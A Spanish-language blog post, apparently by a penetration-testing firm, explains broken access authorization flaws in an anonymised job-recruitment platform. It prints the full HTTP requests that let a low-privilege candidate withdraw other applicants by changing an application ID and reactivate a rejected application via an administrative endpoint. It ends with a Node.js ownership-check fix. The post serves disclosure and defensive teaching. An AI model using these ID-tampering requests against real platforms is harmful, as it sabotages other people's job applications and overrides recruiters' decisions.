Blog
dark mode light mode Search Archivos descargables
Search

¿Cómo los criminales aprovechan debilidades en tu sistema de usuarios y roles?

En la actualidad, la seguridad de la información es más crucial que nunca. La gestión de usuarios y roles se ha convertido en un pilar fundamental para proteger los sistemas de información y los datos sensibles; sin embargo, incluso con las mejores prácticas de seguridad, los hackers encuentran formas de explotar las debilidades en estos sistemas. Este artículo se centra en cómo los hackers aprovechan las vulnerabilidades en la gestión de usuarios y roles para provocar un impacto al modelo de negocio de una organización relacionada al reclutamiento con un enfoque particular en las vulnerabilidades de autorización de acceso.

Debilidades Comunes

Configuraciones Incorrectas de Roles y Permisos: Uno de los errores más comunes, es la configuración incorrecta de roles y permisos. Esto ocurre cuando a los usuarios se les asignan más permisos de los necesarios, lo que abre puertas para que los hackers exploten estas configuraciones.

Falta de Control de Acceso Adecuado: La falta de control de acceso adecuado puede permitir que los usuarios normales realicen acciones que solo deberían estar permitidas para los administradores. Esto es especialmente problemático en sistemas donde los roles no están claramente definidos o segregados.

Vulnerabilidades de Autorización de Acceso: Una de las vulnerabilidades más críticas, es la ausencia de un mecanismo de validación previa, donde los hackers pueden aprovechar fallos en el sistema para obtener permisos indebidos. Este tipo de vulnerabilidad puede permitir a un hacker acceder a información sensible o realizar acciones en nombre de otro usuario.

Ejemplo de Vulnerabilidad: Broken Access Authorization

Para ilustrar cómo una vulnerabilidad del tipo Broken Access Authorization puede ser explotada, consideremos el siguiente escenario en una plataforma de empleo:

Durante las pruebas realizadas, contábamos con cuenta de bajos privilegios con la cual podía usar una funcionalidad relacionada a las postulaciones activas como candidato. Durante este proceso, se identificó una solicitud que reveló información crucial como el identificador de la postulación. Utilizando la opción abandonar la solicitud, cualquier usuario podía identificar la postulación específica de la cual deseaba salir. Al modificar el parámetro de esta solicitud a otro identificador, un usuario mal intencionado podía efectivamente retirar a cualquier usuario asociado con ese identificador de su postulación. 

Además, también era posible que cualquier usuario, agregara un usuario a una vacante de la que había sido rechazado previamente por un reclutador. Para explotar esta debilidad, una persona iniciaba sesión en la plataforma y dirigiéndose a una postulación inactiva, se podía observar el identificador de la postulación. Este identificador podía ser utilizado en una API administrativa (accesible para un usuario con bajos privilegios), permitiendo a un usuario reincorporarse a la postulación.

En consecuencia, lo anteriormente mencionado permitía lo siguiente:

  • Iterar sobre los identificadores de las postulaciones para remover a la “competencia” o usuarios que estaban en un proceso de reclutamiento, otorgando al hacker una mayor ventaja frente a los demás postulantes.
  • Un usuario mal intencionado podía volver a activar su postulación previamente rechazada por el reclutador.

Explotación

Al momento de realizar el pentest, la empresa contaba con dos páginas: una relacionada a los candidatos y otra relacionada a los reclutadores.

A continuación, se procede a explicar los pasos que se siguieron para identificar ambas falencias previamente mencionadas.

Remover a usuarios de sus postulaciones

Paso 1. Iniciamos sesión en el portal de candidatos.

Paso 2. Ingresamos a las postulaciones que habíamos aplicado.

Abandono de proceso
Abandono de proceso

Paso 3. Usamos una opción relacionada al abandono de la postulación e identificamos una solicitud similar a la siguiente:

PUT /api/v1/process/leave HTTP/2  
Host: api.app-vulnerable.com  
Content-Length: 26
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"  
Accept-Language: es-AR 
Authorization: Bearer [REDACTED]  
User-Agent: [REDACTED]  
Content-Type: application/json  
Accept: application/json, text/plain, */*  
Origin: https://app-vulnerable.com  
Sec-Fetch-Site: same-site  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://app-vulnerable.com/  
Accept-Encoding: gzip, deflate, br


{"applicationId":24542904}
HTTP/2 200 OK
Date: Tue, 26 Dec 2023 14:59:20 GMT  
Content-Type: application/json; charset=utf-8  
Content-Length: 4  
X-Powered-By: [REDACTED]  
Access-Control-Allow-Origin: *    
Set-Cookie: path=/; expires=Thu, 26 Dec 2024 14:59:20 GMT  
Message-Id: [REDACTED]  
Etag: W/"4-X/[REDACTED]"


true

En la respuesta, podemos observar el valor “true”, lo cual indicó una ejecución correcta. A través de la solicitud previamente expuesta, se podía iterar por cada valor, generando así un abandono masivo sin autorización en las postulaciones de los candidatos dentro de la plataforma.

Incluir usuarios a postulaciones rechazadas por el reclutador

En este caso, contábamos con el acceso a una cuenta como reclutador.

Paso 1. Se inició sesión en la plataforma como reclutador y nos dirigimos a las postulaciones.

Postulaciones observadas desde el usuario reclutador
Postulaciones observadas desde el usuario reclutador

Paso 2. Por otro lado, se inició sesión como un candidato en el portal de empleo para dirigirnos a las postulaciones inactivas.

Paso 3. Seleccionamos uno de los procesos inactivos.

Postulaciones inactivas
Postulaciones inactivas

Durante esta última acción, podemos identificar la siguiente solicitud:

GET /api/v1/messages?Id=24543040 HTTP/2  
Host: api.app-vulnerable.com  
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"  
Accept-Language: es-AR  
Sec-Ch-Ua-Mobile: ?0  
Authorization: Bearer [REDACTED] 
User-Agent: [REDACTED]  
Content-Type: application/json  
Accept: application/json, text/plain, */*  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://app-vulnerable.com  
Sec-Fetch-Site: same-site  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://app-vulnerable.com/  
Accept-Encoding: gzip, deflate, br  
Priority: u=1, i
HTTP/2 200 OK  
Date: Mon, 01 Jan 2024 21:42:17 GMT  
Content-Type: application/json; charset=utf-8  
Content-Length: 213582  
Access-Control-Allow-Origin: *
Set-Cookie: path=/; expires=Wed, 01 Jan 2025 21:42:17 GMT  
Message-Id: e10[REDACTED]452e23  
Etag: W/"3[REDACTED]"


[{"id":11987904,"status":0,"modelId":31195239,"message":"[REDACTED]"},[REDACTED],{"id":11987937,"status":0,"modelId":31195246,"message":"[REDACTED]","createdAt":"2023-12-26T19:29:05.928Z"},{"id":11987938,"status":0,"modelId":31195246,"message":"[REDACTED]","createdAt":"2023-12-26T19:29:06.262Z"},{"id":11987939,"status":0,"modelId":31195247,"message":"[REDACTED]"}]

En la anterior respuesta, obtenemos como identificadores los procesos inactivos.

Interactuando con la plataforma de reclutamiento, se identificó la siguiente solicitud, la cual usa los identificadores de los procesos para reincorporar a un candidato; por lo cual, la usamos para reincorporarnos a la misma vacante de la cual fuimos rechazados previamente. 

Esta solicitud se puede usar con el JWT del usuario candidato.

PUT /api/v1/reincorporate/31195247 HTTP/2  
Host: api.app-vulnerable.com  
Content-Length: 31  
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"  
Accept-Language: en-US  
Sec-Ch-Ua-Mobile: ?0  
Authorization: Bearer [REDACTED]  
User-Agent: [REDACTED]  
Content-Type: application/json  
Accept: application/json, text/plain, */*  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://app-vulnerable.com  
Sec-Fetch-Site: same-site  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty
Referer: https://app-vulnerable.com/  
Accept-Encoding: gzip, deflate, br


{"applicationId":31195247}
HTTP/2 200 OK
Date: Mon, 01 Jan 2024 21:48:56 GMT  
Content-Type: application/json; charset=utf-8  
Content-Length: 4
Access-Control-Allow-Origin: *  
Content-Language: en-US  
Set-Cookie: path=/; expires=Wed, 01 Jan 2025 21:48:53 GMT  
Message-Id: aab[REDACTED]ed9  
Etag: W/"4-X/[REDACTED]"


true

Impacto de las Vulnerabilidades de Autorización de Acceso

Estas vulnerabilidades pueden tener un impacto significativo, permitiendo a los hackers realizar acciones no autorizadas, acceder a datos sensibles y comprometer la integridad del sistema. En el ejemplo anterior, un hacker podía manipular postulaciones de empleo, lo que no solo afecta a los usuarios individuales, sino que también compromete la credibilidad y la seguridad de la plataforma de empleo.

Mitigación

Durante la explotación de la vulnerabilidad, no se hacía una validación correcta de los permisos del usuario. En este caso se incorpora una validación que realiza para identificar que el candidato sea realmente el propietario de esa aplicación.

const jwt = require('jsonwebtoken');
const { getUserById, getApplicationById, updateApplicationStatus } = require('./database');


async function reincorporateCandidate(req, res) {
    const { applicationId } = req.params;
    const token = req.headers.authorization.split(' ')[1];


    try {
        // Verificar el token JWT
        const decodedToken = jwt.verify(token, process.env.JWT_SECRET);
        const userId = decodedToken.userId;


        // Obtener la aplicación y verificar el usuario
        const application = await getApplicationById(applicationId);
        if (!application) {
            return res.status(404).json({ error: 'Application not found' });
        }


        if (application.userId !== userId) {
            return res.status(403).json({ error: 'Unauthorized' });
        }


        // Reincorporar al candidato
        await updateApplicationStatus(applicationId, 'reincorporated');
        res.json({ success: true });
    } catch (error) {
        res.status(401).json({ error: 'Invalid token or authorization' });
    }
}

Conclusión

La gestión de usuarios y roles es una pieza clave en la seguridad de cualquier sistema. Las debilidades en este aspecto pueden ser explotadas por hackers para comprometer sistemas, acceder a datos sensibles y realizar acciones no autorizadas. Es esencial implementar una gestión robusta de usuarios y roles, con configuraciones adecuadas de permisos, políticas de contraseñas fuertes y controles de acceso estrictos. Solo mediante una vigilancia continua y una actualización constante de las medidas de seguridad, las organizaciones pueden protegerse eficazmente contra estas amenazas.